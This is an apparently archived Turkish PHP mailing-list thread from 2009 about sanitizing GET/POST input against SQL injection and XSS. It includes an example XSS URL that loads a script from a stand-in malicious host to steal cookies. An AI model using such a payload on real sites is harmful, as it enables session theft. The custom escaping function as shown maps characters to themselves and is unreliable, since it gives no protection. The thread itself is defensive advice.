Çok teşekkür ederim...
Mehmet Gürevin yazmış:
Merhaba,
htmlspecialchars fonksiyonunda karakter setini belirleyen bir
parametre var. Kullanmış olduğun karakter kodlamasına göre
aşağıdakilerden birini seçebilirsin.
UTF-8'de küçük ı büyük i sorunu yaşayabilirsin.
htmlspecialchars('<script>iİşŞğĞüÜçÇöÖıI</script>', ENT_COMPAT, 'UTF-8');
htmlspecialchars('<script>iİşŞğĞüÜçÇöÖıI</script>', ENT_COMPAT, 'ISO-8859-9');
Veya basitçe;
function xss($par){
return strtr($par, array(
'&' => '&',
'"' => '"',
"'" => ''',
'<' => '<',
'>' => '>'
));
}
şeklinde bir fonksiyon yazabilirsin. Zaten htmlspecialchars'ında
yaptığı farklı birşey değil.
Kolay gelsin...
2009/1/14 Nuri Akman <[email protected]>:
Merhaba Mehmet Bey,
Daha önce htmlspecialchars kullanmış ve türkçe karakterlerde sorun
yaşamıştım. Bu nedenle strip_tags komutunu kullanmaya başladım. Sizin
tecrübelerinize göre xss'den korunma için siz hangisi dersiniz?
Selamlar...
Nuri AKMAN
Mehmet Gürevin yazmış:
Merhaba,
SQL için diğer arkadaşların tavsiyeleri sanırım yeterli. Ancak ekrana
bastırmaktan bahsettiğine göre xss içinde kendini koruman gerekir.
Misal;
http://www.site.com/?parametre=<script
src="http://www.zararli.com/xss.js"></script>
Gibi bir istekte xss.js dosyasını browser execute eder ve cookiler
dahil browser tarafında js'nin yetkisi dahilinde tüm bilgiler
çalınabilir ve işlem yaptırılabilir. Mesela sayfanın bir bölgesine
reklam bile eklenebilir.
Gelen parametreyi ekrana bastıracağın sırada htmlspecialchars
fonksiyonu ile ekrana bastırırsan basitçe bundan korunmuş olursun.
Örnek;
$par = mysql_real_escape_string($_GET['parametre']);
$sql = "SELECT * FROM table WHERE name='$par'";
echo(htmlspecialchars($par));
Kolay gelsin...
2009/1/11 Nuri AKMAN <[email protected]>:
Arkadaşlar,
$_POST veya $_GET ile aldığım bir parametreyi SQL'de kullanmam ve ekrana
yazdırmam gerekiyor.
Aşağıdaki kadar işlem hack yememek için sizce yeterli olur mu?
$_GET['bolumadi'] = striptags($_GET['bolumadi']);
echo $_GET['bolumadi'];
$SQL = sprintf("select * from xxx where yyy = '%s' order by 1",
mysql_real_escape_string( $_GET['bolumadi'] ));
Selamlar,
Nuri AKMAN
_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama
_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama
_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama
_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama
_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama